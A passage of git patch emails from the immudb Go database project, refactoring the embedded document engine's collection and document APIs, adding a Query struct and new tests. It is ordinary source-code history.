+ } + usr := user{ + ID: "1", + Name: "foo", + Age: 10, + } + r, err := NewDocumentFrom(&usr) + if err != nil { + t.Fatal(err) + } + t.Run("get", func(t *testing.T) { + usr := newDoc(2, "bar", 3) + assert.Equal(t, "bar", usr.Get("name")) + assert.Equal(t, 3.0, usr.Get("age")) + }) + t.Run("bytes", func(t *testing.T) { + assert.NotEmpty(t, string(r.Bytes())) + }) + t.Run("new from bytes", func(t *testing.T) { + n, err := NewDocumentFromBytes(r.Bytes()) + assert.NoError(t, err) + assert.Equal(t, true, n.Valid()) + }) + t.Run("unmarshalJSON", func(t *testing.T) { + usr := newDoc(7, "baz", 4) + bits, err := usr.MarshalJSON() + assert.NoError(t, err) + usr2 := NewDocument() + assert.NoError(t, usr2.UnmarshalJSON(bits)) + assert.Equal(t, usr.String(), usr2.String()) + }) +} diff --git a/embedded/document/engine.go b/embedded/document/engine.go index cc003e7692..1ab0136981 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -122,21 +122,21 @@ func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pk return err } -func (d *Engine) CreateDocument(ctx context.Context, collectionName string, documents []*structpb.Struct) (string, error) { +func (d *Engine) CreateDocument(ctx context.Context, collectionName string, documents []*structpb.Struct) error { tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { - return "", err + return err } defer tx.Cancel() // check if collection exists table, err := tx.Catalog().GetTableByName(d.CurrentDatabase(), collectionName) if err != nil { - return "", err + return err } cols := make([]string, 0) - tcolumns := table.ColsByName() + tcolumns := table.Cols() rows := make([]*sql.RowSpec, 0) for _, col := range tcolumns { @@ -151,18 +151,18 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, docu case defaultDocumentBLOBField: document, err := NewDocumentFrom(doc) if err != nil { - return "", err + return err } res, err := document.MarshalJSON() if err != nil { - return "", err + return err } values = append(values, sql.NewBlob(res)) default: if rval, ok := doc.Fields[col.Name()]; ok { valType, err := valueTypeToExp(col.Type(), rval) if err != nil { - return "", err + return err } values = append(values, valType) } @@ -190,11 +190,11 @@ func (d *Engine) CreateDocument(ctx context.Context, collectionName string, docu nil, ) - return "", err + return err } // TODO: remove schema response from this function -func (d *Engine) GetCollection(ctx context.Context, collectionName string) (resp *schemav2.CollectionInformation, err error) { +func (d *Engine) GetCollection(ctx context.Context, collectionName string) ([]*sql.Index, error) { tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err @@ -213,33 +213,11 @@ func (d *Engine) GetCollection(ctx context.Context, collectionName string) (resp return nil, fmt.Errorf("collection %s does not have a indexes", collectionName) } - // iterate over indexes and extract primary and index keys - for _, idx := range indexes { - for _, col := range idx.Cols() { - var colType schemav2.IndexType - switch col.Type() { - case sql.VarcharType: - colType = schemav2.IndexType_STRING - case sql.IntegerType: - colType = schemav2.IndexType_INTEGER - case sql.BLOBType: - colType = schemav2.IndexType_STRING - } - - // check if primary key - if idx.IsPrimary() { - resp.PrimaryKeys[col.Name()] = &schemav2.IndexOption{Type: colType} - } else { - resp.IndexKeys[col.Name()] = &schemav2.IndexOption{Type: colType} - } - } - } - - return resp, nil + return indexes, nil } -// GenerateBinBoolExp generates a boolean expression from a list of expressions. -func (d *Engine) GenerateBinBoolExp(ctx context.Context, collection string, expressions []*schemav2.DocumentQuery) (*sql.BinBoolExp, error) { +// GenerateExp generates a boolean expression from a list of expressions. +func (d *Engine) GenerateExp(ctx context.Context, collection string, expressions []*schemav2.DocumentQuery) (*sql.CmpBoolExp, error) { if len(expressions) == 0 { return nil, nil } @@ -267,10 +245,10 @@ func (d *Engine) GenerateBinBoolExp(ctx context.Context, collection string, expr } // Combine boolean expressions using AND operator. - result := sql.NewBinBoolExp(sql.AND, boolExps[0].Left(), boolExps[0].Right()) + result := sql.NewCmpBoolExp(sql.AND, boolExps[0].Left(), boolExps[0].Right()) for _, exp := range boolExps[1:] { - result = sql.NewBinBoolExp(sql.AND, result, exp) + result = sql.NewCmpBoolExp(sql.AND, result, exp) } return result, nil @@ -292,8 +270,8 @@ func (d *Engine) getCollectionSchema(ctx context.Context, collection string) (ma return table.ColsByName(), nil } -func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries []*schemav2.DocumentQuery, maxResultSize int) (*schemav2.DocumentSearchResponse, error) { - exp, err := d.GenerateBinBoolExp(ctx, collectionName, queries) +func (d *Engine) GetDocument(ctx context.Context, dbName string, collectionName string, queries []*schemav2.DocumentQuery, maxResultSize int) ([]*structpb.Struct, error) { + exp, err := d.GenerateExp(ctx, collectionName, queries) if err != nil { return nil, err } @@ -320,9 +298,9 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries for i, c := range colDescriptors { dbname := c.Database if c.Database == "dbinstance" { - // TODO: Check what the db name is + // TODO: Check what the db name to provide // dbname = d.name - dbname = d.CurrentDatabase() + dbname = dbName } des := &sql.ColDescriptor{ @@ -335,7 +313,7 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries cols[i] = &schema.Column{Name: des.Column, Type: des.Type} } - resp := &schemav2.DocumentSearchResponse{Results: []*structpb.Struct{}} + results := []*structpb.Struct{} for l := 1; ; l++ { row, err := r.Read(ctx) @@ -355,7 +333,7 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries } document.Fields[cols[i].Name] = vtype } - resp.Results = append(resp.Results, document) + results = append(results, document) if l == maxResultSize { return nil, fmt.Errorf("%w: found at least %d documents (the maximum limit). "+ @@ -364,5 +342,5 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries } } - return resp, nil + return results, nil } diff --git a/embedded/document/schema_test.go b/embedded/document/schema_test.go new file mode 100644 index 0000000000..2675d34d7f --- /dev/null +++ b/embedded/document/schema_test.go @@ -0,0 +1,27 @@ +package document + +import ( + "reflect" + "testing" + + "github.com/codenotary/immudb/embedded/sql" +) + +func TestDefaultOptions(t *testing.T) { + tests := []struct { + name string + want *sql.Options + }{ + { + name: "default options", + want: sql.DefaultOptions().WithPrefix(ObjectPrefix), + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := DefaultOptions(); !reflect.DeepEqual(got, tt.want) { + t.Errorf("DefaultOptions() = %v, want %v", got, tt.want) + } + }) + } +} diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 9e4d3ebedd..a740fd6561 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -3,6 +3,7 @@ package database import ( "context" + "github.com/codenotary/immudb/embedded/sql" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" ) @@ -16,12 +17,45 @@ type ObjectDatabase interface { // GetDocument returns the document GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) // CreateDocument creates a new document - CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) + CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) } // GetCollection returns the collection schema -func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (resp *schemav2.CollectionInformation, err error) { - return d.documentEngine.GetCollection(ctx, req.Name) +func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) { + indexes, err := d.documentEngine.GetCollection(ctx, req.Name) + if err != nil { + return nil, err + } + + resp := &schemav2.CollectionInformation{ + Name: req.Name, + PrimaryKeys: make(map[string]*schemav2.IndexOption), + IndexKeys: make(map[string]*schemav2.IndexOption), + } + + // iterate over indexes and extract primary and index keys + for _, idx := range indexes { + for _, col := range idx.Cols() { + var colType schemav2.IndexType + switch col.Type() { + case sql.VarcharType: + colType = schemav2.IndexType_STRING + case sql.IntegerType: + colType = schemav2.IndexType_INTEGER + case sql.BLOBType: + colType = schemav2.IndexType_STRING + } + + // check if primary key + if idx.IsPrimary() { + resp.PrimaryKeys[col.Name()] = &schemav2.IndexOption{Type: colType} + } else { + resp.IndexKeys[col.Name()] = &schemav2.IndexOption{Type: colType} + } + } + } + + return resp, nil } // CreateCollection creates a new collection @@ -30,11 +64,15 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat } // CreateDocument creates a new document -func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) { - return d.documentEngine.CreateDocument(ctx, req.Collection, req.Document) +func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { + return nil, d.documentEngine.CreateDocument(ctx, req.Collection, req.Document) } // GetDocument returns the document func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { - return d.documentEngine.GetDocument(ctx, req.Collection, req.Query, d.maxResultSize) + results, err := d.documentEngine.GetDocument(ctx, d.name, req.Collection, req.Query, d.maxResultSize) + if err != nil { + return nil, err + } + return &schemav2.DocumentSearchResponse{Results: results}, nil } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 7417cb18d8..c842f311c3 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -13,7 +13,7 @@ func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { return &schemav2.IndexOption{Type: indexType} } -func Test_db_CreateCollection(t *testing.T) { +func Test_object_db_Collection(t *testing.T) { db := makeDb(t) // create collection @@ -26,6 +26,16 @@ func Test_db_CreateCollection(t *testing.T) { }) require.NoError(t, err) + // get collection + resp, err := db.GetCollection(context.Background(), &schemav2.CollectionGetRequest{ + Name: collectionName, + }) + require.NoError(t, err) + require.Equal(t, 0, len(resp.IndexKeys)) + require.Equal(t, 1, len(resp.PrimaryKeys)) + require.Contains(t, resp.PrimaryKeys, "id") + require.Equal(t, schemav2.IndexType_INTEGER, resp.PrimaryKeys["id"].Type) + // add document to collection _, err = db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ Collection: collectionName, @@ -42,7 +52,7 @@ func Test_db_CreateCollection(t *testing.T) { require.NoError(t, err) // query collection for document - resp, err := db.GetDocument(context.Background(), &schemav2.DocumentSearchRequest{ + docs, err := db.GetDocument(context.Background(), &schemav2.DocumentSearchRequest{ Collection: collectionName, Query: []*schemav2.DocumentQuery{ { @@ -55,10 +65,12 @@ func Test_db_CreateCollection(t *testing.T) { }, }) require.NoError(t, err) - require.Equal(t, 1, len(resp.Results)) + require.Equal(t, 1, len(docs.Results)) + res := docs.Results[0] + require.Equal(t, 123, int(res.Fields["id"].GetNumberValue())) } -func TestGenerateBinBoolExp(t *testing.T) { +func Test_object_db_GenerateExp(t *testing.T) { db := makeDb(t) // create collection @@ -125,7 +137,7 @@ func TestGenerateBinBoolExp(t *testing.T) { // }, // } - _, err = db.documentEngine.GenerateBinBoolExp(context.Background(), "mycollection", expressions) + _, err = db.documentEngine.GenerateExp(context.Background(), "mycollection", expressions) require.NoError(t, err) // if !reflect.DeepEqual(actual, expected) { // t.Errorf("GenerateBinBoolExp() = %v, want %v", actual, expected) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 7961d8b096..8b1c1be0f8 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -261,6 +261,6 @@ func (d *closedDB) GetDocument(ctx context.Context, req *schemav2.DocumentSearch } // CreateDocument creates a new document -func (d *closedDB) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) { - return "", store.ErrAlreadyClosed +func (d *closedDB) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { + return nil, store.ErrAlreadyClosed } From 4fd9611f3b2a0034f740c6031fc13460d3166a19 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 13 Mar 2023 12:22:30 +0530 Subject: [PATCH 0321/1062] chore(pkg/database): add document query struct to abstract request query --- embedded/document/engine.go | 53 +++++++------------------- embedded/document/engine_test.go | 3 +- pkg/database/document_database.go | 51 ++++++++++++++++++++++++- pkg/database/document_database_test.go | 3 +- 4 files changed, 66 insertions(+), 44 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 1ab0136981..6e56fa74f4 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -7,8 +7,6 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" - schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" - "github.com/codenotary/immudb/pkg/api/schema" "google.golang.org/protobuf/types/known/structpb" ) @@ -18,11 +16,6 @@ const ( // Schema to ValueType mapping var ( - schemaToValueType = map[schemav2.IndexType]sql.SQLValueType{ - schemav2.IndexType_STRING: sql.VarcharType, - schemav2.IndexType_INTEGER: sql.IntegerType, - } - // ValueType to ValueExp conversion valueTypeToExp = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { errType := fmt.Errorf("unsupported type %v", stype) @@ -69,6 +62,12 @@ var ( } ) +type Query struct { + Field string + Operator int + Value *structpb.Value +} + func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { engine, err := sql.NewEngine(store, opts) if err != nil { @@ -83,7 +82,7 @@ type Engine struct { } // TODO: Add support for index creation -func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pkeys map[string]*schemav2.IndexOption, idxKeys map[string]*schemav2.IndexOption) error { +func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pkeys map[string]sql.SQLValueType, idxKeys map[string]sql.SQLValueType) error { primaryKeys := make([]string, 0) collectionSpec := make([]*sql.ColSpec, 0, len(pkeys)) @@ -93,19 +92,14 @@ func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pk } // validate primary keys - for name, pk := range pkeys { - schType, isValid := schemaToValueType[pk.Type] - if !isValid { - return fmt.Errorf("invalid primary key type: %v", pk) - } + for name, schType := range pkeys { primaryKeys = append(primaryKeys, name) // TODO: add support for other types // TODO: add support for auto increment collectionSpec = append(collectionSpec, sql.NewColSpec(name, schType, 0, false, false)) } - // add support for blob - // TODO: add support for max length for blob storage + // add columnn for blob, which stores the document as a whole collectionSpec = append(collectionSpec, sql.NewColSpec(defaultDocumentBLOBField, sql.BLOBType, 0, false, false)) _, _, err := d.ExecPreparedStmts( @@ -217,7 +211,7 @@ func (d *Engine) GetCollection(ctx context.Context, collectionName string) ([]*s } // GenerateExp generates a boolean expression from a list of expressions. -func (d *Engine) GenerateExp(ctx context.Context, collection string, expressions []*schemav2.DocumentQuery) (*sql.CmpBoolExp, error) { +func (d *Engine) GenerateExp(ctx context.Context, collection string, expressions []*Query) (*sql.CmpBoolExp, error) { if len(expressions) == 0 { return nil, nil } @@ -239,8 +233,7 @@ func (d *Engine) GenerateExp(ctx context.Context, collection string, expressions return nil, err } - colSelector := sql.NewColSelector(d.CurrentDatabase(), collection, exp.GetField(), "") - + colSelector := sql.NewColSelector(d.CurrentDatabase(), collection, exp.Field, "") boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) } @@ -270,7 +263,7 @@ func (d *Engine) getCollectionSchema(ctx context.Context, collection string) (ma return table.ColsByName(), nil } -func (d *Engine) GetDocument(ctx context.Context, dbName string, collectionName string, queries []*schemav2.DocumentQuery, maxResultSize int) ([]*structpb.Struct, error) { +func (d *Engine) GetDocument(ctx context.Context, dbName string, collectionName string, queries []*Query, maxResultSize int) ([]*structpb.Struct, error) { exp, err := d.GenerateExp(ctx, collectionName, queries) if err != nil { return nil, err @@ -293,26 +286,6 @@ func (d *Engine) GetDocument(ctx context.Context, dbName string, collectionName return nil, err } - cols := make([]*schema.Column, len(colDescriptors)) - - for i, c := range colDescriptors { - dbname := c.Database - if c.Database == "dbinstance" { - // TODO: Check what the db name to provide - // dbname = d.name - dbname = dbName - } - - des := &sql.ColDescriptor{ - AggFn: c.AggFn, - Database: dbname, - Table: c.Table, - Column: c.Column, - Type: c.Type, - } - cols[i] = &schema.Column{Name: des.Column, Type: des.Type} - } - results := []*structpb.Struct{} for l := 1; ; l++ { @@ -331,7 +304,7 @@ func (d *Engine) GetDocument(ctx context.Context, dbName string, collectionName if err != nil { return nil, err } - document.Fields[cols[i].Name] = vtype + document.Fields[colDescriptors[i].Column] = vtype } results = append(results, document) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index cdc68e3757..994a0d7594 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -23,7 +23,7 @@ func TestCreateCollection(t *testing.T) { defer closeStore(t, st) opts := DefaultOptions() - engine, err := sql.NewEngine(st, opts) + engine, err := NewEngine(st, opts) require.NoError(t, err) _, _, err = engine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{ @@ -36,6 +36,7 @@ func TestCreateCollection(t *testing.T) { }, nil) require.NoError(t, err) + engine.CreateCollection(context.Background(), "collection1", nil, nil) _, _, err = engine.ExecPreparedStmts( context.Background(), nil, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index a740fd6561..79b65a7c8c 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -2,11 +2,20 @@ package database import ( "context" + "fmt" + "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" ) +var ( + schemaToValueType = map[schemav2.IndexType]sql.SQLValueType{ + schemav2.IndexType_STRING: sql.VarcharType, + schemav2.IndexType_INTEGER: sql.IntegerType, + } +) + // ObjectDatabase is the interface for object database type ObjectDatabase interface { // GetCollection returns the collection schema @@ -60,7 +69,37 @@ func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetReque // CreateCollection creates a new collection func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error { - return d.documentEngine.CreateCollection(ctx, req.Name, req.PrimaryKeys, req.IndexKeys) + // validate collection to contain at least one primary key + if len(req.PrimaryKeys) == 0 { + return fmt.Errorf("collection must have at least one primary key") + } + + primaryKeys := make(map[string]sql.SQLValueType) + indexKeys := make(map[string]sql.SQLValueType) + + // validate primary keys + for name, pk := range req.PrimaryKeys { + schType, isValid := schemaToValueType[pk.Type] + if !isValid { + return fmt.Errorf("invalid primary key type: %v", pk) + } + // TODO: add support for other types + // TODO: add support for auto increment + primaryKeys[name] = schType + } + + // validate index keys + for name, pk := range req.IndexKeys { + schType, isValid := schemaToValueType[pk.Type] + if !isValid { + return fmt.Errorf("invalid primary key type: %v", pk) + } + // TODO: add support for other types + // TODO: add support for auto increment + indexKeys[name] = schType + } + + return d.documentEngine.CreateCollection(ctx, req.Name, primaryKeys, indexKeys) } // CreateDocument creates a new document @@ -70,7 +109,15 @@ func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertReq // GetDocument returns the document func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { - results, err := d.documentEngine.GetDocument(ctx, d.name, req.Collection, req.Query, d.maxResultSize) + queries := make([]*document.Query, 0, len(req.Query)) + for _, q := range req.Query { + queries = append(queries, &document.Query{ + Operator: int(q.Operator), + Field: q.Field, + Value: q.Value, + }) + } + results, err := d.documentEngine.GetDocument(ctx, d.name, req.Collection, queries, d.maxResultSize) if err != nil { return nil, err } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index c842f311c3..a9ed1625ce 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -4,6 +4,7 @@ import ( "context" "testing" + "github.com/codenotary/immudb/embedded/document" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" @@ -106,7 +107,7 @@ func Test_object_db_GenerateExp(t *testing.T) { }) require.NoError(t, err) - expressions := []*schemav2.DocumentQuery{ + expressions := []*document.Query{ { Field: "country_id", Operator: 0, // EQ From afe1b233c383f9544731b68f07fd98e4aea7fbd3 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 13 Mar 2023 13:16:32 +0530 Subject: [PATCH 0322/1062] chore(embedded/document): add test cases for collection on doc engine --- embedded/document/engine.go | 15 +-- embedded/document/engine_test.go | 131 +++++++++++++++++++------ pkg/database/document_database_test.go | 77 +-------------- 3 files changed, 111 insertions(+), 112 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 6e56fa74f4..caf4de59e3 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -202,16 +202,19 @@ func (d *Engine) GetCollection(ctx context.Context, collectionName string) ([]*s } // fetch primary and index keys from collection schema - indexes := table.GetIndexes() - if len(indexes) == 0 { - return nil, fmt.Errorf("collection %s does not have a indexes", collectionName) + cols := table.Cols() + if len(cols) == 0 { + return nil, fmt.Errorf("collection %s does not have a field", collectionName) } + indexes := make([]*sql.Index, 0) + indexes = append(indexes, table.GetIndexes()...) + return indexes, nil } -// GenerateExp generates a boolean expression from a list of expressions. -func (d *Engine) GenerateExp(ctx context.Context, collection string, expressions []*Query) (*sql.CmpBoolExp, error) { +// generateExp generates a boolean expression from a list of expressions. +func (d *Engine) generateExp(ctx context.Context, collection string, expressions []*Query) (*sql.CmpBoolExp, error) { if len(expressions) == 0 { return nil, nil } @@ -264,7 +267,7 @@ func (d *Engine) getCollectionSchema(ctx context.Context, collection string) (ma } func (d *Engine) GetDocument(ctx context.Context, dbName string, collectionName string, queries []*Query, maxResultSize int) ([]*structpb.Struct, error) { - exp, err := d.GenerateExp(ctx, collectionName, queries) + exp, err := d.generateExp(ctx, collectionName, queries) if err != nil { return nil, err } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 994a0d7594..87e2571a46 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -6,21 +6,21 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" + schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/structpb" ) -func closeStore(t *testing.T, st *store.ImmuStore) { - err := st.Close() - if !t.Failed() { - // Do not pollute error output if test has already failed - require.NoError(t, err) - } -} - -func TestCreateCollection(t *testing.T) { +func makeEngine(t *testing.T) *Engine { st, err := store.Open(t.TempDir(), store.DefaultOptions()) require.NoError(t, err) - defer closeStore(t, st) + t.Cleanup(func() { + err := st.Close() + if !t.Failed() { + // Do not pollute error output if test has already failed + require.NoError(t, err) + } + }) opts := DefaultOptions() engine, err := NewEngine(st, opts) @@ -36,36 +36,107 @@ func TestCreateCollection(t *testing.T) { }, nil) require.NoError(t, err) - engine.CreateCollection(context.Background(), "collection1", nil, nil) - _, _, err = engine.ExecPreparedStmts( - context.Background(), - nil, - []sql.SQLStmt{sql.NewCreateTableStmt( - "collection1", - false, []*sql.ColSpec{ - sql.NewColSpec("id", sql.IntegerType, 0, false, false), - sql.NewColSpec("name", sql.VarcharType, 50, false, false), - sql.NewColSpec("encoded_obj", sql.BLOBType, 0, false, false), - }, - []string{"id", "name"}, - )}, - nil, - ) + return engine +} + +func TestCreateCollection(t *testing.T) { + engine := makeEngine(t) + + collectionName := "mycollection" + err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ + "id": sql.IntegerType, + "number": sql.IntegerType, + }, nil) require.NoError(t, err) catalog, err := engine.Catalog(context.Background(), nil) require.NoError(t, err) - table, err := catalog.GetTableByName("db1", "collection1") + table, err := catalog.GetTableByName("db1", collectionName) require.NoError(t, err) - require.Equal(t, "collection1", table.Name()) - c, err := table.GetColumnByID(1) + require.Equal(t, collectionName, table.Name()) + c, err := table.GetColumnByName("id") require.NoError(t, err) require.Equal(t, c.Name(), "id") - c, err = table.GetColumnByID(2) + c, err = table.GetColumnByName("number") + require.NoError(t, err) + require.Equal(t, c.Name(), "number") + + // get collection + indexes, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, 1, len(indexes)) + + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) + } else { + indexKeyCount += len(idx.Cols()) + } + } + require.Equal(t, 2, primaryKeyCount) + require.Equal(t, 0, indexKeyCount) +} + +func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { + return &schemav2.IndexOption{Type: indexType} +} + +func TestGetCollection(t *testing.T) { + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ + "id": sql.IntegerType, + "pincode": sql.IntegerType, + "country_id": sql.IntegerType, + }, nil) + require.NoError(t, err) + require.NoError(t, err) + + // add document to collection + err = engine.CreateDocument(context.Background(), collectionName, []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "id": { + Kind: &structpb.Value_NumberValue{NumberValue: 1}, + }, + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + "country_id": { + Kind: &structpb.Value_NumberValue{NumberValue: 3}, + }, + }, + }, + }, + ) require.NoError(t, err) - require.Equal(t, c.Name(), "name") + expressions := []*Query{ + { + Field: "country_id", + Operator: 0, // EQ + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 3}, + }, + }, + { + Field: "pincode", + Operator: 0, // EQ + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + }, + } + + doc, err := engine.GetDocument(context.Background(), "db1", collectionName, expressions, 10) + require.NoError(t, err) + require.Equal(t, 1, len(doc)) } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index a9ed1625ce..703d92e303 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -4,7 +4,6 @@ import ( "context" "testing" - "github.com/codenotary/immudb/embedded/document" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" @@ -14,7 +13,7 @@ func newIndexOption(indexType schemav2.IndexType) *schemav2.IndexOption { return &schemav2.IndexOption{Type: indexType} } -func Test_object_db_Collection(t *testing.T) { +func TestObjectDB_Collection(t *testing.T) { db := makeDb(t) // create collection @@ -70,77 +69,3 @@ func Test_object_db_Collection(t *testing.T) { res := docs.Results[0] require.Equal(t, 123, int(res.Fields["id"].GetNumberValue())) } - -func Test_object_db_GenerateExp(t *testing.T) { - db := makeDb(t) - - // create collection - collectionName := "mycollection" - err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ - Name: collectionName, - PrimaryKeys: map[string]*schemav2.IndexOption{ - "id": newIndexOption(schemav2.IndexType_INTEGER), - "country_id": newIndexOption(schemav2.IndexType_INTEGER), - "pincode": newIndexOption(schemav2.IndexType_INTEGER), - }, - }) - require.NoError(t, err) - - // add document to collection - _, err = db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ - Collection: collectionName, - Document: []*structpb.Struct{ - { - Fields: map[string]*structpb.Value{ - "id": { - Kind: &structpb.Value_NumberValue{NumberValue: 1}, - }, - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, - "country_id": { - Kind: &structpb.Value_NumberValue{NumberValue: 3}, - }, - }, - }, - }, - }) - require.NoError(t, err) - - expressions := []*document.Query{ - { - Field: "country_id", - Operator: 0, // EQ - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 3}, - }, - }, - { - Field: "pincode", - Operator: 0, // EQ - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, - }, - } - - // expected := &sql.BinBoolExp{ - // op: sql.AND, - // left: &CmpBoolExp{ - // op: AND, - // left: &CmpBoolExp{op: EQ, left: &ColSelector{col: "country"}, right: &Varchar{val: "US"}}, - // right: &CmpBoolExp{op: LTE, left: &ColSelector{col: "time"}, right: &FnCall{fn: "now"}}, - // }, - // right: &CmpBoolExp{ - // op: EQ, - // left: &ColSelector{col: "name"}, - // right: &Varchar{val: "John Doe"}, - // }, - // } - - _, err = db.documentEngine.GenerateExp(context.Background(), "mycollection", expressions) - require.NoError(t, err) - // if !reflect.DeepEqual(actual, expected) { - // t.Errorf("GenerateBinBoolExp() = %v, want %v", actual, expected) - // } -} From ede0d370b2555534f377570180671c78ae1d7ec0 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 13 Mar 2023 13:53:59 +0530 Subject: [PATCH 0323/1062] pkg(embedded/document): add index key creation on collection --- embedded/document/engine.go | 39 +++++++++++++++++++++----- embedded/document/engine_test.go | 28 ++++++++++++------ embedded/sql/stmt.go | 4 +++ pkg/database/document_database.go | 15 +++++----- pkg/database/document_database_test.go | 3 +- pkg/server/db_dummy_closed.go | 2 +- 6 files changed, 66 insertions(+), 25 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index caf4de59e3..b6f4aa6096 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -84,36 +84,61 @@ type Engine struct { // TODO: Add support for index creation func (d *Engine) CreateCollection(ctx context.Context, collectionName string, pkeys map[string]sql.SQLValueType, idxKeys map[string]sql.SQLValueType) error { primaryKeys := make([]string, 0) - collectionSpec := make([]*sql.ColSpec, 0, len(pkeys)) + indexKeys := make([]string, 0) + columns := make([]*sql.ColSpec, 0, len(pkeys)) // validate collection to contain at least one primary key if len(pkeys) == 0 { return fmt.Errorf("collection must have at least one primary key") } - // validate primary keys + // add primary keys for name, schType := range pkeys { primaryKeys = append(primaryKeys, name) // TODO: add support for other types // TODO: add support for auto increment - collectionSpec = append(collectionSpec, sql.NewColSpec(name, schType, 0, false, false)) + columns = append(columns, sql.NewColSpec(name, schType, 0, false, false)) } // add columnn 